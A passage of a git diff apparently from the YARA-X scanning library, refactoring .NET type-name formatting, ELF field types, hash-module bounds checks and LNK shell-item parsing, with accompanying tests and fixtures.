parts[len] = type_def.plain_name()?; + len += 1; if let Some(namespace) = type_def.namespace { - result.push(namespace) + if len < Self::MAX_RECURSION { + parts[len] = namespace; + } + len += 1; } // If the type is a nested one, an entry in `nested_classes` must @@ -1037,59 +1148,95 @@ impl<'a> Dotnet<'a> { } } + let valid_len = min(len, Self::MAX_RECURSION); + let total_bytes: usize = parts[..valid_len] + .iter() + .map(|s| s.len()) + .sum::() + + valid_len.saturating_sub(1); + output.reserve(total_bytes); + // The innermost type is pushed first into the list, but it should be // the last one in the resulting name. So the list must be iterated // backwards. - Some(result.iter().rev().join(".")) + for (i, part) in parts[..valid_len].iter().rev().enumerate() { + if i > 0 { + output.push('.'); + } + output.push_str(part); + } + + Some(()) + } + + fn type_full_name(&self, type_def_idx: usize) -> Option { + let mut output = String::new(); + self.write_type_full_name(type_def_idx, &mut output)?; + Some(output) } /// Given a [`CodedIndex`] that can point either to the TypeDef, TypeRef or - /// TypeSpec tables, returns a string that the describes the type. - fn type_def_or_ref_fullname( + /// TypeSpec tables, writes a string that describes the type into `output`. + fn write_type_def_or_ref_fullname( &self, index: &CodedIndex, + output: &mut String, depth: &mut usize, generic_class_params: &[&'a str], generic_method_params: &[&'a str], - ) -> Option { + ) -> Option<()> { match index.table { - Table::TypeDef => self.type_full_name(index.index), - Table::TypeRef => self.get_type_ref(index).and_then(|t| { - match (t.namespace, t.plain_name()) { - (Some(namespace), Some(name)) => { - Some(format!("{namespace}.{name}")) - } - (_, name) => name.map(|n| n.to_string()), - } - }), - Table::TypeSpec => { - let mut name = String::new(); - if self - .get_type_spec(index) - .and_then(|blob_index| self.get_blob(*blob_index)) - .and_then(|data| { - self.parse_type_spec( - data, - &mut name, - depth, - generic_class_params, - generic_method_params, - ) - .ok() - }) - .is_some() - { - Some(name) + Table::TypeDef => self.write_type_full_name(index.index, output), + Table::TypeRef => { + let t = self.get_type_ref(index)?; + let name = t.plain_name()?; + if let Some(namespace) = t.namespace { + output.reserve(namespace.len() + 1 + name.len()); + output.push_str(namespace); + output.push('.'); + output.push_str(name); } else { - None + output.push_str(name); } + Some(()) + } + Table::TypeSpec => { + let blob_index = self.get_type_spec(index)?; + let data = self.get_blob(*blob_index)?; + self.parse_type_spec( + data, + output, + depth, + generic_class_params, + generic_method_params, + ) + .ok() + .map(|_| ()) } _ => unreachable!(), } } + fn type_def_or_ref_fullname( + &self, + index: &CodedIndex, + depth: &mut usize, + generic_class_params: &[&'a str], + generic_method_params: &[&'a str], + ) -> Option { + let mut output = String::new(); + self.write_type_def_or_ref_fullname( + index, + &mut output, + depth, + generic_class_params, + generic_method_params, + )?; + Some(output) + } + /// Parses a type spec blob, writing a textual representation of the - /// type into the `output` writer. + /// type into the `output` string. /// /// This function can call itself recursively, and the `depth` argument /// serves the purpose of controlling the recursion depth. It is a @@ -1100,7 +1247,7 @@ impl<'a> Dotnet<'a> { fn parse_type_spec( &self, input: &'a [u8], - output: &mut dyn Write, + output: &mut String, depth: &mut usize, generic_class_params: &[&'a str], generic_method_params: &[&'a str], @@ -1115,26 +1262,26 @@ impl<'a> Dotnet<'a> { *depth += 1; match type_ { - Type::Void => write!(output, "void")?, - Type::Bool => write!(output, "bool")?, - Type::Char => write!(output, "char")?, - Type::I1 => write!(output, "sbyte")?, - Type::U1 => write!(output, "byte")?, - Type::I2 => write!(output, "short")?, - Type::U2 => write!(output, "ushort")?, - Type::I4 => write!(output, "int")?, - Type::U4 => write!(output, "uint")?, - Type::I8 => write!(output, "long")?, - Type::U8 => write!(output, "ulong")?, - Type::R4 => write!(output, "float")?, - Type::R8 => write!(output, "double")?, - Type::Object => write!(output, "object")?, - Type::String => write!(output, "string")?, - Type::TypedRef => write!(output, "TypedReference")?, - Type::I => write!(output, "IntPtr")?, - Type::U => write!(output, "UintPtr")?, + Type::Void => output.push_str("void"), + Type::Bool => output.push_str("bool"), + Type::Char => output.push_str("char"), + Type::I1 => output.push_str("sbyte"), + Type::U1 => output.push_str("byte"), + Type::I2 => output.push_str("short"), + Type::U2 => output.push_str("ushort"), + Type::I4 => output.push_str("int"), + Type::U4 => output.push_str("uint"), + Type::I8 => output.push_str("long"), + Type::U8 => output.push_str("ulong"), + Type::R4 => output.push_str("float"), + Type::R8 => output.push_str("double"), + Type::Object => output.push_str("object"), + Type::String => output.push_str("string"), + Type::TypedRef => output.push_str("TypedReference"), + Type::I => output.push_str("IntPtr"), + Type::U => output.push_str("UintPtr"), Type::Ptr => { - write!(output, "Ptr<")?; + output.push_str("Ptr<"); remainder = self.parse_type_spec( remainder, output, @@ -1142,10 +1289,10 @@ impl<'a> Dotnet<'a> { generic_class_params, generic_method_params, )?; - write!(output, ">")?; + output.push('>'); } Type::ByRef => { - write!(output, "ref ")?; + output.push_str("ref "); remainder = self.parse_type_spec( remainder, output, @@ -1162,17 +1309,14 @@ impl<'a> Dotnet<'a> { }) .parse(remainder)?; - write!( + self.write_type_def_or_ref_fullname( + &coded_index, output, - "{}", - self.type_def_or_ref_fullname( - &coded_index, - depth, - generic_class_params, - generic_method_params - ) - .ok_or(Error::InvalidType)? - )?; + depth, + generic_class_params, + generic_method_params, + ) + .ok_or(Error::InvalidType)?; } Type::Var | Type::MVar => { let index; @@ -1189,7 +1333,7 @@ impl<'a> Dotnet<'a> { .ok_or(Error::InvalidType)? }; - write!(output, "{name}")?; + output.push_str(name); } Type::Array => { let dimensions; @@ -1696,8 +1840,11 @@ impl<'a> Dotnet<'a> { /// ECMA-335 Section II.22.10. fn parse_custom_attribute_row( &self, - ) -> impl Parser<&'a [u8], Output = CustomAttribute<'a>, Error = NomError<'a>> - + '_ { + ) -> impl Parser< + &'a [u8], + Output = CustomAttribute<'a>, + Error = NomError<'a>, + > + '_ { map( ( // parent @@ -1991,7 +2138,8 @@ impl<'a> Dotnet<'a> { )| AssemblyRef { // public_key_or_token sometimes have an empty string (""), // in such cases return `None` instead. - public_key_or_token: public_key_or_token.filter(|&v| !v.is_empty()), + public_key_or_token: public_key_or_token + .filter(|&v| !v.is_empty()), name, version: Version { major_version, @@ -2706,9 +2854,12 @@ impl From> for protos::dotnet::Dotnet { result.set_is_dotnet(true); result.set_version(dotnet.version.to_string()); - result.guids.extend(dotnet.get_guids().map(|guid| guid.to_string())); + if let Some(guids) = dotnet.parse_guids() { + result.guids = Vec::with_capacity(guids.len()); + result.guids.extend(guids.into_iter().map(|guid| guid.to_string())); + } result.typelib = - dotnet.get_typelib().map(|typelib| typelib.to_string()); + dotnet.parse_typelib().map(|typelib| typelib.to_string()); result.module_name = dotnet .modules @@ -2722,6 +2873,7 @@ impl From> for protos::dotnet::Dotnet { .map(protos::dotnet::Assembly::from) .into(); + result.assembly_refs = Vec::with_capacity(dotnet.assembly_refs.len()); result.assembly_refs.extend( dotnet.assembly_refs.iter().map(protos::dotnet::AssemblyRef::from), ); @@ -2733,27 +2885,32 @@ impl From> for protos::dotnet::Dotnet { .filter_map(|module_ref| module_ref.map(|s| s.to_string())), ); + result.streams = Vec::with_capacity(dotnet.stream_headers.len()); result.streams.extend( dotnet.stream_headers.iter().map(protos::dotnet::Stream::from), ); + result.resources = Vec::with_capacity(dotnet.resources.len()); result.resources.extend( dotnet.resources.iter().map(protos::dotnet::Resource::from), ); + result.classes = Vec::with_capacity(dotnet.type_defs.len()); result .classes - .extend(dotnet.get_user_types().map(protos::dotnet::Class::from)); + .extend(dotnet.iter_user_types().map(protos::dotnet::Class::from)); result .constants .extend(dotnet.get_string_constants().map(|c| c.to_vec())); + let user_strings = dotnet.parse_user_strings(); + result.user_strings = Vec::with_capacity(user_strings.len()); result .user_strings - .extend(dotnet.get_user_strings().map(|c| c.to_vec())); + .extend(user_strings.into_iter().map(|c| c.to_vec())); - result.field_offsets.clone_from(&dotnet.field_offsets); + result.field_offsets = dotnet.field_offsets; result.set_number_of_streams(result.streams.len().try_into().unwrap()); result.set_number_of_guids(result.guids.len().try_into().unwrap()); @@ -2841,10 +2998,9 @@ impl From<&Resource<'_>> for protos::dotnet::Resource { } } -impl From<&Class<'_>> for protos::dotnet::Class { - fn from(value: &Class<'_>) -> Self { +impl From> for protos::dotnet::Class { + fn from(value: Class<'_>) -> Self { let mut class = protos::dotnet::Class::new(); - class.fullname.clone_from(&value.full_name); if let Some(fullname) = &value.full_name { if let Some((namespace, name)) = fullname.rsplit_once('.') { class.set_namespace(namespace.to_string()); @@ -2853,19 +3009,23 @@ impl From<&Class<'_>> for protos::dotnet::Class { class.set_name(fullname.to_string()); } } + class.fullname = value.full_name; class.set_type(value.semantics.to_string()); - class.base_types.clone_from(&value.base_types); + class.base_types = value.base_types; class.set_sealed(value.is_sealed); class.set_abstract(value.is_abstract); class.set_visibility(value.visibility.to_string()); + class.methods = Vec::with_capacity(value.methods.len()); class .methods - .extend(value.methods.iter().map(protos::dotnet::Method::from)); + .extend(value.methods.into_iter().map(protos::dotnet::Method::from)); + class.generic_parameters = + Vec::with_capacity(value.generic_params.len()); class .generic_parameters - .extend(value.generic_params.iter().map(|s| s.to_string())); + .extend(value.generic_params.into_iter().map(|s| s.to_string())); class.set_number_of_methods(class.methods.len().try_into().unwrap()); @@ -2881,8 +3041,8 @@ impl From<&Class<'_>> for protos::dotnet::Class { } } -impl From<&Method<'_>> for protos::dotnet::Method { - fn from(value: &Method<'_>) -> Self { +impl From> for protos::dotnet::Method { + fn from(value: Method<'_>) -> Self { let mut method = protos::dotnet::Method::new(); method.set_name(value.name.to_string()); method.set_visibility(value.visibility.to_string()); @@ -2890,13 +3050,16 @@ impl From<&Method<'_>> for protos::dotnet::Method { method.set_virtual(value.is_virtual); method.set_final(value.is_final); method.set_static(value.is_static); + method.parameters = Vec::with_capacity(value.params.len()); method .parameters - .extend(value.params.iter().map(protos::dotnet::Param::from)); + .extend(value.params.into_iter().map(protos::dotnet::Param::from)); + method.generic_parameters = + Vec::with_capacity(value.generic_params.len()); method .generic_parameters - .extend(value.generic_params.iter().map(|s| s.to_string())); + .extend(value.generic_params.into_iter().map(|s| s.to_string())); method.set_number_of_parameters( method.parameters.len().try_into().unwrap(), @@ -2906,16 +3069,16 @@ impl From<&Method<'_>> for protos::dotnet::Method { method.generic_parameters.len().try_into().unwrap(), ); - method.return_type.clone_from(&value.return_type); + method.return_type = value.return_type; method } } -impl From<&MethodParam<'_>> for protos::dotnet::Param { - fn from(value: &MethodParam<'_>) -> Self { +impl From> for protos::dotnet::Param { + fn from(value: MethodParam<'_>) -> Self { let mut param = protos::dotnet::Param::new(); - param.set_name(value.name.to_string()); - param.type_.clone_from(&value.type_); + param.set_name(value.name.into_owned()); + param.type_ = value.type_; param } } @@ -2959,25 +3122,13 @@ fn var_sint(input: &[u8]) -> IResult<&[u8], i32> { _, >(alt(( map(bits_tag(0b0, 1u8).and(bits_take(7u8)), |(_, x): (_, i32)| { - if x & 0x01 != 0 { - (x >> 1) - 0x40 - } else { - x >> 1 - } + if x & 0x01 != 0 { (x >> 1) - 0x40 } else { x >> 1 } }), map(bits_tag(0b10, 2u8).and(bits_take(14u8)), |(_, x): (_, i32)| { - if x & 0x01 != 0 { - (x >> 1) - 0x2000 - } else { - x >> 1 - } + if x & 0x01 != 0 { (x >> 1) - 0x2000 } else { x >> 1 } }), map(bits_tag(0b110, 3u8).and(bits_take(29u8)), |(_, x): (_, i32)| { - if x & 0x01 != 0 { - (x >> 1) - 0x10000000 - } else { - x >> 1 - } + if x & 0x01 != 0 { (x >> 1) - 0x10000000 } else { x >> 1 } }), )))(input)?; diff --git a/lib/src/modules/dotnet/tests/testdata/54c1e5ef8395ffcdb05a40fb1aceaecf02bbb4f6b06756764d1ff28549c698b5.in.zip b/lib/src/modules/dotnet/tests/testdata/54c1e5ef8395ffcdb05a40fb1aceaecf02bbb4f6b06756764d1ff28549c698b5.in.zip new file mode 100644 index 000000000..9260fdc8d Binary files /dev/null and b/lib/src/modules/dotnet/tests/testdata/54c1e5ef8395ffcdb05a40fb1aceaecf02bbb4f6b06756764d1ff28549c698b5.in.zip differ diff --git a/lib/src/modules/dotnet/tests/testdata/54c1e5ef8395ffcdb05a40fb1aceaecf02bbb4f6b06756764d1ff28549c698b5.out b/lib/src/modules/dotnet/tests/testdata/54c1e5ef8395ffcdb05a40fb1aceaecf02bbb4f6b06756764d1ff28549c698b5.out new file mode 100644 index 000000000..c6445e54f --- /dev/null +++ b/lib/src/modules/dotnet/tests/testdata/54c1e5ef8395ffcdb05a40fb1aceaecf02bbb4f6b06756764d1ff28549c698b5.out @@ -0,0 +1,128 @@ +is_dotnet: true +module_name: "test.dll" +version: "v4.0.30319" +number_of_streams: 3 +number_of_guids: 0 +number_of_resources: 0 +number_of_classes: 6 +number_of_assembly_refs: 0 +number_of_modulerefs: 0 +number_of_user_strings: 0 +number_of_constants: 0 +number_of_field_offsets: 0 +streams: + - name: "#~" + offset: 0x2a8 + size: 0xd4 + - name: "#Strings" + offset: 0x37c + size: 0x6c + - name: "#Blob" + offset: 0x3e8 + size: 0x8 +classes: + - fullname: "ClassA" + name: "ClassA" + visibility: "public" + type: "class" + abstract: false + sealed: false + number_of_base_types: 1 + number_of_generic_parameters: 0 + number_of_methods: 2 + base_types: + - "System.Object" + methods: + - name: "m0" + visibility: "public" + abstract: false + static: false + virtual: false + final: false + return_type: "void" + number_of_generic_parameters: 0 + number_of_parameters: 0 + - name: "m1" + visibility: "public" + abstract: false + static: false + virtual: false + final: false + return_type: "void" + number_of_generic_parameters: 0 + number_of_parameters: 0 + - fullname: "ClassB" + name: "ClassB" + visibility: "public" + type: "class" + abstract: false + sealed: false + number_of_base_types: 1 + number_of_generic_parameters: 0 + number_of_methods: 1 + base_types: + - "System.Object" + methods: + - name: "m2" + visibility: "public" + abstract: false + static: false + virtual: false + final: false + return_type: "void" + number_of_generic_parameters: 0 + number_of_parameters: 0 + - fullname: "EmptyType1" + name: "EmptyType1" + visibility: "public" + type: "class" + abstract: false + sealed: false + number_of_base_types: 1 + number_of_generic_parameters: 0 + number_of_methods: 0 + base_types: + - "System.Object" + - fullname: "EmptyType2" + name: "EmptyType2" + visibility: "public" + type: "class" + abstract: false + sealed: false + number_of_base_types: 1 + number_of_generic_parameters: 0 + number_of_methods: 0 + base_types: + - "System.Object" + - fullname: "ClassC" + name: "ClassC" + visibility: "public" + type: "class" + abstract: false + sealed: false + number_of_base_types: 1 + number_of_generic_parameters: 0 + number_of_methods: 1 + base_types: + - "System.Object" + methods: + - name: "m3" + visibility: "public" + abstract: false + static: false + virtual: false + final: false + return_type: "void" + number_of_generic_parameters: 0 + number_of_parameters: 0 + - fullname: "TrailingEmptyType" + name: "TrailingEmptyType" + visibility: "public" + type: "class" + abstract: false + sealed: false + number_of_base_types: 1 + number_of_generic_parameters: 0 + number_of_methods: 0 + base_types: + - "System.Object" \ No newline at end of file diff --git a/lib/src/modules/elf/mod.rs b/lib/src/modules/elf/mod.rs index 24a001d85..347e0b68f 100644 --- a/lib/src/modules/elf/mod.rs +++ b/lib/src/modules/elf/mod.rs @@ -72,7 +72,7 @@ fn import_md5(ctx: &mut ScanContext) -> Option>> { let mut hasher = Md5::new(); hasher.update(comma_separated_names.as_bytes()); - let digest = format!("{:x}", hasher.finalize()); + let digest = hex::encode(hasher.finalize()); IMPORT_MD5_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); diff --git a/lib/src/modules/elf/parser.rs b/lib/src/modules/elf/parser.rs index e8777f1d7..1ab0a818c 100644 --- a/lib/src/modules/elf/parser.rs +++ b/lib/src/modules/elf/parser.rs @@ -99,9 +99,9 @@ impl ElfParser { self.result.machine = Some(EnumOrUnknown::::from_i32(ehdr.machine.into())); - self.result.sh_offset = Some(ehdr.sh_offset); + self.result.sh_offset = Some(ehdr.sh_offset as i64); self.result.sh_entry_size = Some(ehdr.sh_entry_size.into()); - self.result.ph_offset = Some(ehdr.ph_offset); + self.result.ph_offset = Some(ehdr.ph_offset as i64); self.result.ph_entry_size = Some(ehdr.ph_entry_size.into()); self.result.number_of_sections = Some(ehdr.sh_entry_count.into()); self.result.number_of_segments = Some(ehdr.ph_entry_count.into()); @@ -112,12 +112,12 @@ impl ElfParser { for s in segments.iter().flatten() { let mut segment = elf::Segment::new(); segment.flags = Some(s.flags); - segment.offset = Some(s.offset); - segment.virtual_address = Some(s.virt_addr); - segment.physical_address = Some(s.phys_addr); - segment.file_size = Some(s.file_size); - segment.memory_size = Some(s.mem_size); - segment.alignment = Some(s.alignment); + segment.offset = Some(s.offset as i64); + segment.virtual_address = Some(s.virt_addr as i64); + segment.physical_address = Some(s.phys_addr as i64); + segment.file_size = Some(s.file_size as i64); + segment.memory_size = Some(s.mem_size as i64); + segment.alignment = Some(s.alignment as i64); segment.flags = Some(s.flags); segment.type_ = Some(EnumOrUnknown::::from_i32( s.type_ as i32, @@ -147,6 +147,7 @@ impl ElfParser { sections.as_deref().unwrap_or(&[]), ehdr.entry_point, ) + .map(|offset| offset as i64) } let sections = match sections { @@ -162,10 +163,10 @@ impl ElfParser { for s in sections.iter() { let mut section = elf::Section::new(); - section.flags = Some(s.flags); - section.address = Some(s.addr); - section.size = Some(s.size); - section.offset = Some(s.offset); + section.flags = Some(s.flags as i64); + section.address = Some(s.addr as i64); + section.size = Some(s.size as i64); + section.offset = Some(s.offset as i64); section.name = Self::parse_name(elf, shstrtab, s.name); section.type_ = Some(EnumOrUnknown::::from_i32( s.type_ as i32, @@ -460,8 +461,8 @@ impl ElfParser { for s in syms.iter().flatten() { let mut sym = elf::Sym::new(); sym.name = Self::parse_name(elf, symtabstr, s.name); - sym.value = Some(s.value); - sym.size = Some(s.size); + sym.value = Some(s.value as i64); + sym.size = Some(s.size as i64); sym.shndx = Some(s.shndx.into()); sym.type_ = @@ -594,7 +595,7 @@ impl ElfParser { Some(EnumOrUnknown::::from_i32( tag as i32, )); - dyn_entry.val = Some(value); + dyn_entry.val = Some(value as i64); result.push(dyn_entry); } } diff --git a/lib/src/modules/elf/tests/mod.rs b/lib/src/modules/elf/tests/mod.rs index 39412b29b..471b72490 100644 --- a/lib/src/modules/elf/tests/mod.rs +++ b/lib/src/modules/elf/tests/mod.rs @@ -58,3 +58,35 @@ fn telfhash() { &elf ); } + +#[test] +fn machines() { + let mut elf = create_binary_from_zipped_ihex( + "src/modules/elf/tests/testdata/8bfe885838b4d1fba194b761ca900a0425aa892e4b358bf5a9bf4304e571df1b.in.zip", + ); + + let machines: &[(&str, u16)] = &[ + ("EM_PARISC", 15), + ("EM_SPARC32PLUS", 18), + ("EM_S390", 22), + ("EM_MCORE", 39), + ("EM_RCE", 39), + ("EM_SH", 42), + ("EM_SPARCV9", 43), + ("EM_ARC_COMPACT", 93), + ("EM_BPF", 247), + ("EM_LOONGARCH", 258), + ]; + + for (name, value) in machines { + // e_machine sits at offset 18 and the test ELF is little-endian. + elf[18..20].copy_from_slice(&value.to_le_bytes()); + + let rule = format!( + r#"import "elf" rule test {{ condition: elf.machine == elf.{name} and elf.machine == {value} }}"# + ); + + rule_true!(rule.as_str(), &elf); + } +} + diff --git a/lib/src/modules/field_docs.rs b/lib/src/modules/field_docs.rs index 7edc6d01a..4c6e8d64a 100644 --- a/lib/src/modules/field_docs.rs +++ b/lib/src/modules/field_docs.rs @@ -343,6 +343,8 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("macho.Symtab", 4, "Size in bytes of the string table."), ("macho.Symtab", 5, "Individual entries stored in the table."), ("macho.Symtab", 6, "Descriptive nlist entries for symbols."), + ("msi.Msi", 1, "True if the file is an MSI file and contains a digital signature."), + ("msi.Msi", 2, "Digital signatures present in the MSI file."), ("olecf.Olecf", 1, "True if file is an OLE CF file."), ("olecf.Olecf", 2, "Streams contained in the OLE CF file."), ("pe.Certificate", 1, "Issuer of this individual certificate."), @@ -502,10 +504,14 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("pe.SignerInfo", 5, "Certificate chain validating the signer."), ("pe.Version", 1, "Major version number."), ("pe.Version", 2, "Minor version number."), + #[cfg(feature = "test_proto2-module")] ("test_proto2.TestProto2", 350, "This field will be visible in YARA as `bool_yara` instead of `bool_proto`."), + #[cfg(feature = "test_proto2-module")] ("test_proto2.TestProto2", 351, "This field won't be visible to YARA."), + #[cfg(feature = "test_proto2-module")] ("test_proto2.TestProto2", 500, "This field is accessible only if the features \"foo\" (or \"FOO\") and \"bar\" are enabled while compiling the YARA rules."), + #[cfg(feature = "test_proto2-module")] ("test_proto2.TestProto2", 502, "The metadata received by the module is copied into this field."), ("vba.Vba", 1, "True if VBA macros are present"), ("vba.Vba", 2, "VBA macro modules found"), diff --git a/lib/src/modules/hash/mod.rs b/lib/src/modules/hash/mod.rs index d478560c7..dbd94450f 100644 --- a/lib/src/modules/hash/mod.rs +++ b/lib/src/modules/hash/mod.rs @@ -1,5 +1,4 @@ use std::cell::RefCell; -use std::convert::TryInto; use md5::Md5; use rustc_hash::FxHashMap; @@ -40,6 +39,18 @@ fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { Ok(Hash::new()) } +#[inline] +fn data_slice<'a>( + ctx: &'a ScanContext, + offset: i64, + size: i64, +) -> Option<&'a [u8]> { + let start = usize::try_from(offset).ok()?; + let len = usize::try_from(size).ok()?; + let end = start.checked_add(len)?; + ctx.scanned_data()?.get(start..end) +} + /// Calculates the MD5 hash of a portion of the scanned data. #[module_export(name = "md5")] fn md5_data( @@ -58,13 +69,12 @@ fn md5_data( return cached; } - let range = offset.try_into().ok()?..(offset + size).try_into().ok()?; - let data = ctx.scanned_data()?.get(range)?; + let data = data_slice(ctx, offset, size)?; let mut hasher = Md5::new(); hasher.update(data); - let digest = format!("{:x}", hasher.finalize()); + let digest = hex::encode(hasher.finalize()); MD5_CACHE.with(|cache| { cache.borrow_mut().insert((offset, size), digest.clone()); @@ -82,9 +92,8 @@ fn md5_str( let mut hasher = Md5::new(); hasher.update(s.as_bstr(ctx)); - Some(Lowercase::>::new(format!( - "{:x}", - hasher.finalize() + Some(Lowercase::>::new(hex::encode( + hasher.finalize(), ))) } @@ -106,13 +115,12 @@ fn sha1_data( return cached; } - let range = offset.try_into().ok()?..(offset + size).try_into().ok()?; - let data = ctx.scanned_data()?.get(range)?; + let data = data_slice(ctx, offset, size)?; let mut hasher = Sha1::new(); hasher.update(data); - let digest = format!("{:x}", hasher.finalize()); + let digest = hex::encode(hasher.finalize()); SHA1_CACHE.with(|cache| { cache.borrow_mut().insert((offset, size), digest.clone()); @@ -130,9 +138,8 @@ fn sha1_str( let mut hasher = Sha1::new(); hasher.update(s.as_bstr(ctx)); - Some(Lowercase::>::new(format!( - "{:x}", - hasher.finalize() + Some(Lowercase::>::new(hex::encode( + hasher.finalize(), ))) } @@ -154,13 +161,12 @@ fn sha256_data( return cached; } - let range = offset.try_into().ok()?..(offset + size).try_into().ok()?; - let data = ctx.scanned_data()?.get(range)?; + let data = data_slice(ctx, offset, size)?; let mut hasher = Sha256::new(); hasher.update(data); - let digest = format!("{:x}", hasher.finalize()); + let digest = hex::encode(hasher.finalize()); SHA256_CACHE.with(|cache| { cache.borrow_mut().insert((offset, size), digest.clone()); @@ -178,9 +184,8 @@ fn sha256_str( let mut hasher = Sha256::new(); hasher.update(s.as_bstr(ctx)); - Some(Lowercase::>::new(format!( - "{:x}", - hasher.finalize() + Some(Lowercase::>::new(hex::encode( + hasher.finalize(), ))) } @@ -195,8 +200,7 @@ fn crc_data(ctx: &ScanContext, offset: i64, size: i64) -> Option { return cached; } - let range = offset.try_into().ok()?..(offset + size).try_into().ok()?; - let data = ctx.scanned_data()?.get(range)?; + let data = data_slice(ctx, offset, size)?; let crc = crc32fast::hash(data); CRC32_CACHE.with(|cache| { @@ -245,8 +249,7 @@ fn checksum_data(ctx: &ScanContext, offset: i64, size: i64) -> Option { return cached; } - let range = offset.try_into().ok()?..(offset + size).try_into().ok()?; - let data = ctx.scanned_data()?.get(range)?; + let data = data_slice(ctx, offset, size)?; let checksum = checksum32(data); CHECKSUM32_CACHE.with(|cache| { diff --git a/lib/src/modules/hash/tests/mod.rs b/lib/src/modules/hash/tests/mod.rs index d7e1f1a51..ac40fb5de 100644 --- a/lib/src/modules/hash/tests/mod.rs +++ b/lib/src/modules/hash/tests/mod.rs @@ -81,6 +81,23 @@ fn test_hash_module() { "#, b"TEST STRING" ); + + rule_true!( + r#" + import "hash" + rule test { + condition: + not defined hash.md5(1, 0x7fffffffffffffff) and + not defined hash.sha1(1, 0x7fffffffffffffff) and + not defined hash.sha256(1, 0x7fffffffffffffff) and + not defined hash.crc32(1, 0x7fffffffffffffff) and + not defined hash.checksum32(1, 0x7fffffffffffffff) and + not defined hash.md5(-1, 2) and + not defined hash.md5(2, -1) + } + "#, + b"foobarbaz" + ); } #[test] diff --git a/lib/src/modules/lnk/parser.rs b/lib/src/modules/lnk/parser.rs index d468ff321..73dbf0321 100644 --- a/lib/src/modules/lnk/parser.rs +++ b/lib/src/modules/lnk/parser.rs @@ -4,7 +4,7 @@ use std::num::NonZeroUsize; use nom::bytes::complete::{take, take_while}; use nom::combinator::{cond, map_res, verify}; -use nom::multi::{fold_many0, length_value, many_till}; +use nom::multi::{fold_many0, many_till}; use nom::number::complete::{le_u16, le_u32, le_u64, le_u128}; use nom::{Err, Input, ToUsize}; use nom::{IResult, Needed, Parser}; @@ -13,7 +13,9 @@ use uuid::Uuid; type NomError<'a> = nom::error::Error<&'a [u8]>; -use crate::modules::protos::lnk::{DriveType, Lnk, ShowCommand, TrackerData}; +use crate::modules::protos::lnk::{ + DriveType, Lnk, ShellItem, ShellItemType, ShowCommand, TrackerData, +}; /// A Windows LNK file parser. pub struct LnkParser { @@ -43,7 +45,7 @@ impl LnkParser { let total_size = input.len(); // Parse the header. let ( - mut input, + input, ( _header_size, _clsid, @@ -98,6 +100,28 @@ impl LnkParser { let unicode = link_flags & Self::IS_UNICODE != 0; + // Parse the sections that come after the header. Malformed or + // malicious files (e.g. CVE-2010-2568 exploits) may declare structure + // sizes that exceed the actual file, causing this to fail. In that + // case the header metadata that was already extracted is still + // returned, instead of discarding everything and reporting the file + // as not being a LNK file. + let _ = self.parse_body(input, link_flags, unicode, total_size); + + Ok(mem::take(&mut self.result)) + } + + /// Parses the sections that follow the header: the link target ID list, + /// the link info, the string data, and the extra data. Any of these can + /// fail on malformed files, in which case the error is returned and the + /// caller keeps whatever was parsed so far. + fn parse_body<'a>( + &mut self, + mut input: &'a [u8], + link_flags: u32, + unicode: bool, + total_size: usize, + ) -> IResult<&'a [u8], ()> { // Parse the link target list (LINKTARGET_IDLIST), if present. // // IDLIST = *ITEMID TERMINALID @@ -171,7 +195,7 @@ impl LnkParser { self.result.overlay_size = overlay.len().try_into().ok(); } - Ok(mem::take(&mut self.result)) + Ok((input, ())) } } @@ -192,32 +216,173 @@ impl LnkParser { &mut self, ) -> impl FnMut(&[u8]) -> IResult<&[u8], ()> + '_ { move |input: &[u8]| { - let (remainder, _) = length_value( - le_u16, - many_till( - self.parse_link_target_id(), - // An item ID with size 0 is the terminal one. - verify(le_u16, |size| *size == 0), - ), - ) - .parse(input)?; + // The list starts with a 2-byte size for the whole IDList (the + // sequence of ItemIDs plus the terminal ID). The size does not + // include the size field itself. + let (after_size, list_size) = le_u16(input)?; + + // Clamp the declared size to what is actually available. Some + // malformed or malicious files (e.g. CVE-2010-2568 exploits) + // declare a size larger than the file. Being lenient here allows + // the shell items to still be parsed. + let list_size = min(list_size as usize, after_size.len()); + let (remainder, mut list) = take(list_size)(after_size)?; + + // Iterate over the ItemIDs until the terminal ID (an item with + // size 0) or the end of the list is found. + while list.len() >= 2 { + let (rest, item_size) = le_u16(list)?; + // An item ID with size 0 is the terminal one. + if item_size == 0 { + break; + } + // The size includes the 2-byte size field itself. Clamp the + // item's data to what is available. + let data_len = + min((item_size as usize).saturating_sub(2), rest.len()); + let (after_item, item_data) = take(data_len)(rest)?; + self.parse_shell_item(item_data); + list = after_item; + } Ok((remainder, ())) } } - fn parse_link_target_id( - &mut self, - ) -> impl FnMut(&[u8]) -> IResult<&[u8], ()> + '_ { - move |input: &[u8]| { - // Each item ID starts with a 2-bytes length that includes - // the length itself its data. - let (remainder, _data) = Self::length_data(le_u16).parse(input)?; - // TODO(vmalvarez): Implement the parsing of link targets if - // there's enough demand for it. - // A possible reference implementation is: - // https://github.com/Matmaus/LnkParse3/blob/master/LnkParse3/target_factory.py#L1 - Ok((remainder, ())) + /// Maps a shell item class type indicator to a [`ShellItemType`] + /// category. The mapping follows the type-indicator table in the + /// reverse-engineered shell item format documentation and the LnkParse3 + /// implementation: the volume (0x20-0x2F), file entry (0x30-0x3F) and + /// network location (0x40-0x4F) items are identified by masking the class + /// type indicator with 0x70, while the remaining categories are matched + /// exactly. Returns `None` when the class type indicator is not + /// recognized. + fn classify_shell_item(class: u8) -> Option { + match class & 0x70 { + 0x20 => Some(ShellItemType::VOLUME), + 0x30 => Some(ShellItemType::FILE_ENTRY), + 0x40 => Some(ShellItemType::NETWORK_LOCATION), + _ => match class { + 0x00 => Some(ShellItemType::CONTROL_PANEL_CPL), + 0x01 => Some(ShellItemType::CONTROL_PANEL_CATEGORY), + 0x1E | 0x1F => Some(ShellItemType::ROOT_FOLDER), + 0x52 => Some(ShellItemType::COMPRESSED_FOLDER), + 0x61 => Some(ShellItemType::URI), + 0x70 | 0x71 => Some(ShellItemType::CONTROL_PANEL), + 0x72 => Some(ShellItemType::PRINTERS), + 0x73 => Some(ShellItemType::COMMON_PLACES_FOLDER), + 0x74 => Some(ShellItemType::USERS_FILES_FOLDER), + _ => None, + }, + } + } + + /// Parses a single shell item (the `Data` field of an `ItemID`, without + /// the leading `ItemIDSize` field) and appends the extracted information + /// to the result. + /// + /// The `LinkTargetIDList` and `ItemID` container structures are defined in + /// the 